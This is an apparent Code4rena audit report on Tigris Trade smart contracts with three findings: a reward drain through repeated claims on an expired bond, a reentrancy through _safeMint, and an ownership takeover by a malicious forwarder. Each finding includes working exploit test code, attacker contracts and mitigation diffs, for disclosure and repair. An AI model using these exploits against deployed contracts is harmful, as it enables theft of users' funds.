Tigris Trade contest - hihen's results

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L168-L187

Vulnerability details

Impact

Malicious user can drain all assets in BondNFT, and other users will lose their rewards.

Proof of Concept

When calling BondNFT.claim() for an expired bond, it will recalculate accRewardsPerShare. This is because the reward after the expireEpoch does not belong to that expired bond and needs to be redistributed to all other bonds.

  if (bond.expired) {
      uint _pendingDelta = (bond.shares * accRewardsPerShare[bond.asset][epoch[bond.asset]] / 1e18 - bondPaid[_id][bond.asset]) - (bond.shares * accRewardsPerShare[bond.asset][bond.expireEpoch-1] / 1e18 - bondPaid[_id][bond.asset]);
      if (totalShares[bond.asset] > 0) {
          accRewardsPerShare[bond.asset][epoch[bond.asset]] += _pendingDelta*1e18/totalShares[bond.asset];
      }
  }

In the current implementation of BondNFT.claim(), it can be called repeatedly as long as the expired bond is not released.

According to the formula in the above code, we can find that although each subsequent claim() of the expired bond will transfer 0 reward, the accRewardsPerShare will be updated cumulatively. Thus, the pending rewards of all other users will increase every time the expired bond is claim()ed.

A malicious user can exploit this vulnerability to steal all assets in BondNFT contract:

1. Create two bonds (B1, B2) with different expireEpoch
2. At some time after B1 has expired (B2 has not), keep calling Lock.claim(B1) to increase rewards of B2 continuously, until the pending rewards of B2 approaches the total amount of asset in the contract.
3. Call Lock.claim(B2) to claim all pending rewards of B2.

An example of such an attack:

diff --git a/test/09.Bonds.js b/test/09.Bonds.js
index 16c3ff5..7c445c3 100644
--- a/test/09.Bonds.js
+++ b/test/09.Bonds.js
@@ -245,7 +245,90 @@ describe("Bonds", function () {
       await lock.connect(user).release(2);
       expect(await bond.pending(1)).to.be.equals("999999999999999999725"); // Negligable difference from 1000e18 due to solidity division
     });
+
+    it.only("Drain BondNFT rewards", async function () {
+      const getState = async () => {
+        const balHacker= await stabletoken.balanceOf(hacker.address);
+        const balLock = await stabletoken.balanceOf(lock.address);
+        const balBond = await stabletoken.balanceOf(bond.address);
+        const [pending1, pending2, pending3] = [await bond.pending(1), await bond.pending(2), await bond.pending(3)];
+        return { hacker: balHacker, lock: balLock, bond: balBond, pending1, pending2, pending3};
+      };
+      const parseEther = (v) => ethers.utils.parseEther(v.toString());
+      const gwei = parseEther(1).div(1e9);
+
+      // prepare tokens
+      const TotalRewards = parseEther(8000);
+      await stabletoken.connect(owner).mintFor(owner.address, TotalRewards);
+      await stabletoken.connect(owner).mintFor(user.address, parseEther(1000));
+      const hacker = rndAddress;
+      await stabletoken.connect(owner).mintFor(hacker.address, parseEther(2000+700));
+      await stabletoken.connect(hacker).approve(Lock.address, parseEther(2000));
+
+      // bond1 - user
+      await lock.connect(user).lock(StableToken.address, parseEther(1000), 100);
+      await bond.distribute(stabletoken.address, parseEther(3800));
+      expect(await bond.pending(1)).to.be.closeTo(parseEther(3800), gwei);
+      // Skip some time
+      await network.provider.send("evm_increaseTime", [20*86400]);
+      await network.provider.send("evm_mine");
+
+      // bond2 - hacker
+      await lock.connect(hacker).lock(StableToken.address, parseEther(1000), 10);
+      // bond3 - hacker
+      await lock.connect(hacker).lock(StableToken.address, parseEther(1000), 100);
+
+      await bond.distribute(stabletoken.address, parseEther(2100));
+
+      // Skip 10+ days, bond2 is expired
+      await network.provider.send("evm_increaseTime", [13*86400]);
+      await network.provider.send("evm_mine");
+      await bond.distribute(stabletoken.address, parseEther(2100));
+
+      // check balances before hack
+      let st = await getState();
+      expect(st.bond).to.be.equals(TotalRewards);
+      expect(st.lock).to.be.equals(parseEther(3000));
+      expect(st.hacker).to.be.equals(parseEther(0+700));
+      expect(st.pending1).to.be.closeTo(parseEther(3800+1000+1000), gwei);
+      expect(st.pending2).to.be.closeTo(parseEther(100), gwei);
+      expect(st.pending3).to.be.closeTo(parseEther(1000+1000), gwei);
+
+      // first claim of expired bond2
+      await lock.connect(hacker).claim(2);
+      st = await getState();
+      expect(st.bond).to.be.closeTo(TotalRewards.sub(parseEther(100)), gwei);
+      expect(st.hacker).to.be.closeTo(parseEther(100+700), gwei);
+      expect(st.pending1).to.be.gt(parseEther(3800+1000+1000));
+      expect(st.pending2).to.be.eq(parseEther(0));
+      expect(st.pending3).to.be.gt(parseEther(1000+1000));
+
+      // hack
+      const remainReward = st.bond;
+      let pending3 = st.pending3;
+      let i = 0;
+      for (; remainReward.gt(pending3); i++) {
+        // claim expired bond2 repeatedly
+        await lock.connect(hacker).claim(2);
+        // pending3 keeps increasing
+        pending3 = await bond.pending(3);
+      }
+      console.log(`claim count: ${i}\nremain: ${ethers.utils.formatEther(remainReward)}\npending3: ${ethers.utils.formatEther(pending3)}\n`);
+
+      // send diff, then drain rewards in bond
+      await stabletoken.connect(hacker).transfer(bond.address, pending3.sub(remainReward));
+      await lock.connect(hacker).claim(3);
+      st = await getState();
+      // !! bond is drained !!
+      expect(st.bond).to.be.eq(0);
+      // !! hacker gets all rewards !!
+      expect(st.hacker).to.be.eq(TotalRewards.add(parseEther(700)));
+      expect(st.pending1).to.be.gt(parseEther(3800+1000+1000));
+      expect(st.pending2).to.be.eq(0);
+      expect(st.pending3).to.be.eq(0);
+    });
   });
+
   describe("Withdrawing", function () {
     it("Only expired bonds can be withdrawn", async function () {
       await stabletoken.connect(owner).mintFor(owner.address, ethers.utils.parseEther("100"));

Output:

  Bonds
    Rewards
claim count: 41
remain: 7900.000000000000000002
pending3: 8055.7342616570405578

      ✓ Drain BondNFT rewards

  1 passing (4s)

Tools Used

VS Code

Recommended Mitigation Steps

I recommend that an expired bond should be forced to release(), claim() an expired bond should revert.

Sample code:

diff --git a/contracts/BondNFT.sol b/contracts/BondNFT.sol
index 33a6e76..77e85ae 100644
--- a/contracts/BondNFT.sol
+++ b/contracts/BondNFT.sol
@@ -148,7 +148,7 @@ contract BondNFT is ERC721Enumerable, Ownable {
         amount = bond.amount;
         unchecked {
             totalShares[bond.asset] -= bond.shares;
-            (uint256 _claimAmount,) = claim(_id, bond.owner);
+            (uint256 _claimAmount,) = _claim(_id, bond.owner);
             amount += _claimAmount;
         }
         asset = bond.asset;
@@ -157,8 +157,9 @@ contract BondNFT is ERC721Enumerable, Ownable {
         _burn(_id);
         emit Release(asset, lockAmount, _owner, _id);
     }
+
     /**
-     * @notice Claim rewards from a bond
+     * @notice Claim rewards from an unexpired bond
      * @dev Should only be called by a manager contract
      * @param _id ID of the bond to claim rewards from
      * @param _claimer address claiming rewards
@@ -168,6 +169,22 @@ contract BondNFT is ERC721Enumerable, Ownable {
     function claim(
         uint _id,
         address _claimer
+    ) public onlyManager() returns(uint amount, address tigAsset) {
+        Bond memory bond = idToBond(_id);
+        require(!bond.expired, "expired");
+        return _claim(_id, _claimer);
+    }
+
+    /**
+     * @notice Claim rewards from a releasing bond or an unexpired bond
+     * @param _id ID of the bond to claim rewards from
+     * @param _claimer address claiming rewards
+     * @return amount amount of tigAsset claimed
+     * @return tigAsset tigAsset token address
+     */
+    function _claim(
+        uint _id,
+        address _claimer
     ) public onlyManager() returns(uint amount, address tigAsset) {
         Bond memory bond = idToBond(_id);
         require(_claimer == bond.owner, "!owner");

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Position.sol#L148

Vulnerability details

Impact

The storage states of contract Position will become chaotic. All functions of contract Trading may be affected by this, and there will be a variety of uncertain security risks.

Proof of Concept

When Position.mint() is called by Trading.initiateMarketOrder() or Trading.initiateLimitOrder(), the reentrant-friendly function _safeMint() is used to create the new Position NFT:

function mint(MintTrade memory _mintTrade) external onlyMinter {
    uint newTokenID = _tokenIds.current();

    Trade storage newTrade = _trades[newTokenID];
    newTrade.margin = _mintTrade.margin;
    ...
    _safeMint(_mintTrade.account, newTokenID);
    ...
    _tokenIds.increment();
    ...
}

The _safeMint() will callback _checkOnERC721Received() of the _mintTrade.account if the account is a contract.

If a hacker initiates an order using a special trader(which is a maliciouse contract), it will be able to reenter any function of contract Tranding and Position.

The following shows one of the many possible attacks, which will make orders of contract Position chaotic:

diff --git a/contracts/mock/BadTrader.sol b/contracts/mock/BadTrader.sol
new file mode 100644
index 0000000..362a13c
--- /dev/null
+++ b/contracts/mock/BadTrader.sol
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../Trading.sol";
+import "../Position.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+
+contract BadTrader is Ownable {
+    Trading public trading;
+    Position public position;
+    IERC20 public token;
+
+    uint256 private reenter;
+    bytes private data;
+    uint256[] private createdPositions;
+
+    constructor(Trading _trading, Position _position, IERC20 _token) {
+        trading = _trading;
+        position = _position;
+        token = _token;
+        token.approve(address(trading), type(uint256).max);
+    }
+
+    function attack(bytes calldata _data, uint256 _count, uint256 _reenter) external onlyOwner {
+        data = _data;
+        reenter = _reenter;
+        delete createdPositions;
+        for (uint i = 0; i < _count; i++) {
+            reenter = _reenter;
+            uint256 tokenId = position.getCount();
+            _call();
+            trading.cancelLimitOrder(tokenId, address(this));
+        }
+    }
+
+    function _call() internal {
+        (bool success, bytes memory result) = address(trading).call(data);
+        if (!success) {
+            assembly {
+                revert(add(result, 32), mload(result))
+            }
+        }
+    }
+
+    function onERC721Received(address, address, uint256 tokenId, bytes memory) public returns (bytes4) {
+        require(msg.sender == address(position));
+        createdPositions.push(tokenId);
+        if (--reenter > 0) {
+            trading.cancelLimitOrder(tokenId, address(this));
+            _call();
+        }
+        return this.onERC721Received.selector;
+    }
+
+    function getLastCreatedPositions() public view returns (uint256[] memory) {
+        return createdPositions;
+    }
+
+    // function refundERC20(IERC20 asset) external onlyOwner {
+    //     asset.transfer(owner(), asset.balanceOf(address(this)));
+    // }
+
+    // function refundERC721(IERC721 asset, uint256 tokenId) external onlyOwner {
+    //     asset.transferFrom(address(this), owner(), tokenId);
+    // }
+}
\ No newline at end of file
diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..4a659b4 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -11,6 +11,7 @@ describe("Trading", function () {
   let node2;
   let node3;
   let proxy;
+  let hacker;
 
   let Trading;
   let trading;
@@ -45,7 +46,7 @@ describe("Trading", function () {
 
   beforeEach(async function () {
     await deployments.fixture(['test']);
-    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
+    [owner, node, user, node2, node3, proxy, hacker] = await ethers.getSigners();
     StableToken = await deployments.get("StableToken");
     stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
     Trading = await deployments.get("Trading");
@@ -773,6 +774,66 @@ describe("Trading", function () {
     });
   });
   describe("Limit orders and liquidations", function () {
+    it.only("Reentry attack", async function () {
+      const NormalCount = 5;
+      // prepare fund
+      const mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
+      await mockdai.connect(owner).transfer(user.address, parseEther("1000").mul(NormalCount));
+      await mockdai.connect(owner).transfer(hacker.address, parseEther("120"));
+      await mockdai.connect(user).approve(trading.address, ethers.constants.MaxUint256);
+      let tradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let NotUsePermitData = [0, 0, 0, permitSig.r, permitSig.s, false];
+
+      // utils
+      const bnToNumber = (list) => { return list.map(bn => bn.toNumber()) };
+      const getOrderIndexes = async (fromId, toId) => {
+        let indexes = [];
+        for (let i = fromId; i < toId; i++) {
+          indexes.push(await position.limitOrderIndexes(0, i));
+        }
+        return bnToNumber(indexes);
+      };
+
+      // create normal orders
+      for (let i = 0; i < NormalCount; i++) {
+        await trading.connect(user).initiateLimitOrder(tradeInfo, 1, parseEther("20000"), NotUsePermitData, user.address);
+      }
+      console.log(`orders before hack: ${bnToNumber(await position.limitOrders(0))}`);
+      console.log(`indexes before hack: ${await getOrderIndexes(1, NormalCount+1)}`);
+      // confirm init state
+      expect(bnToNumber(await position.limitOrders(0))).to.eql([1, 2, 3, 4, 5]);
+      expect(await getOrderIndexes(1, NormalCount+1)).to.eql([0, 1, 2, 3, 4]);
+
+      // hacker prepare
+      const BadTrader = await deployments.deploy('BadTrader', {
+        contract: 'BadTrader', from: hacker.address, args: [trading.address, position.address, MockDAI.address]
+      });
+      const badTrader = await ethers.getContractAt("BadTrader", BadTrader.address);
+      await mockdai.connect(hacker).transfer(badTrader.address, await mockdai.balanceOf(hacker.address));
+
+      // attack
+      tradeInfo = [parseEther("10"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      const data = await trading.interface.encodeFunctionData("initiateLimitOrder", [tradeInfo, 1, parseEther("20000"), NotUsePermitData, badTrader.address]);
+      await badTrader.connect(hacker).attack(data, 2, 6);
+
+      //!! hacker don't lose money
+      expect(await stabletoken.balanceOf(badTrader.address)).to.eq(parseEther("120"));
+      //!! positions created in one reentry batch will have the same token id
+      expect(bnToNumber(await badTrader.getLastCreatedPositions())).to.eql([
+        6, 6, 6, 6, 6, 6,
+        12, 12, 12, 12, 12, 12
+       ]);
+
+      console.log(`orders after hack: ${bnToNumber(await position.limitOrders(0))}`);
+      console.log(`indexes after hack: ${await getOrderIndexes(1, NormalCount+1)}`);
+
+      //!! order array is messed up
+      expect(bnToNumber(await position.limitOrders(0))).to.not.eql([1, 2, 3, 4, 5]);
+      expect(bnToNumber(await position.limitOrders(0))).to.eql([12, 12, 12, 12, 12]);
+      //!! order index map is messed up
+      expect(await getOrderIndexes(1, NormalCount+1)).to.not.eql([0, 1, 2, 3, 4]);
+      expect(await getOrderIndexes(1, NormalCount+1)).to.eql([0, 0, 0, 0, 0]);
+    });
     /**
      * Non-reverting limit order tests
      */

Test output:

  Trading
    Limit orders and liquidations
orders before hack: 1,2,3,4,5
indexes before hack: 0,1,2,3,4
orders after hack: 12,12,12,12,12
indexes after hack: 0,0,0,0,0
      ✓ Reentry attack

  1 passing (4s)

Tools Used

VS Code

Recommended Mitigation Steps

Contract Trading and Position should inherit ReentrancyGuard and add the nonReentrant modifier to all of their key external functions.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/utils/MetaContext.sol#L6

Vulnerability details

Impact

The origin owner will not be able to block attacks by a malicious forwarder. Contracts inherited from MetaContext may lose owner rights.

Because MetaContext is a fundamental contract, and has been inherited by many important contracts(StableToken, StableVault, Position, Trading, GovNFT, etc), its vulnerability may have a great impact.

Proof of Concept

The owner can add any forwarder to MetaContext.

A malicious forwarder may be added by owner if:

• The owner is accidentally or tricked into trusting a forwarder with a backdoor
• The owner trusted an upgradable forwarder contract, and the forwarder upgrades to a malicious contract

The malicious forwarder would at first time call transferOwnership() as the owner to get the ownership, so that no one can block its subsequent attacks.

Here is an example of this attack:

diff --git a/contracts/mock/BadForwarder.sol b/contracts/mock/BadForwarder.sol
new file mode 100644
index 0000000..4b3bb73
--- /dev/null
+++ b/contracts/mock/BadForwarder.sol
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract BadForwarder {
+    address public immutable owner;
+
+    constructor() {
+        owner = msg.sender;
+    }
+
+    function execute(address to, bytes calldata data, address role) public payable returns (bool, bytes memory) {
+        require(msg.sender == owner);
+        (bool success, bytes memory returndata) = to.call{value: msg.value}(
+            abi.encodePacked(data, role)
+        );
+        return (success, returndata);
+    }
+}
diff --git a/test/08.MetaContext.js b/test/08.MetaContext.js
index 46d91e2..3f6505a 100644
--- a/test/08.MetaContext.js
+++ b/test/08.MetaContext.js
@@ -19,6 +19,44 @@ describe("MetaContext", function () {
     await metacontexttest.connect(owner).setTrustedForwarder(forwarder.address, true);
   });
 
+  it.only("Malicious forwarder can replace owner", async function() {
+    const hacker = user;
+    // deploy a forwarder in proxy mode
+    let proxy = await deployments.deploy('NewForwarder', {
+        contract: 'Forwarder',
+        from: hacker.address,
+        proxy: {
+          proxyContract: "OpenZeppelinTransparentProxy",
+        }
+    });
+
+    // new forwarder is trusted
+    await metacontexttest.connect(owner).setTrustedForwarder(proxy.address, true);
+    expect(await metacontexttest.isTrustedForwarder(proxy.address)).to.be.true;
+
+    // upgrade new forwarder to BadForwarder
+    proxy = await deployments.deploy('NewForwarder', {
+        contract: 'BadForwarder',
+        from: hacker.address,
+        proxy: {
+          proxyContract: "OpenZeppelinTransparentProxy",
+        }
+    });
+    const badForwarder = (await ethers.getContractFactory("BadForwarder")).attach(proxy.address);
+
+    // check state before attack
+    expect(await metacontexttest.owner()).to.eq(owner.address);
+    expect(await metacontexttest.owner()).to.not.eq(hacker.address);
+
+    //!! attack: replace owner
+    const data = await metacontexttest.interface.encodeFunctionData("transferOwnership", [hacker.address]);
+    await badForwarder.connect(hacker).execute(metacontexttest.address, data, owner.address);
+
+    // hacker is owner now
+    expect(await metacontexttest.owner()).to.not.eq(owner.address);
+    expect(await metacontexttest.owner()).to.eq(hacker.address);
+  });
+
   describe("MetaContext", function () {
     it("Should have Forwarder as a trusted forwarder", async function () {
       expect(await metacontexttest.isTrustedForwarder(forwarder.address)).to.equal(true);

Test output:

  MetaContext
    ✓ Malicious forwarder can replace owner

  1 passing (3s)

Tools Used

VS Code

Recommended Mitigation Steps

The forwarder should be prohibited from acting as the owner:

diff --git a/contracts/utils/MetaContext.sol b/contracts/utils/MetaContext.sol
index d011b7d..afa9b82 100644
--- a/contracts/utils/MetaContext.sol
+++ b/contracts/utils/MetaContext.sol
@@ -21,6 +21,7 @@ contract MetaContext is Ownable {
             assembly {
                 sender := shr(96, calldataload(sub(calldatasize(), 20)))
             }
+            require(owner() != sender, "MetaContext: forward owner");
         } else {
             return super._msgSender();
         }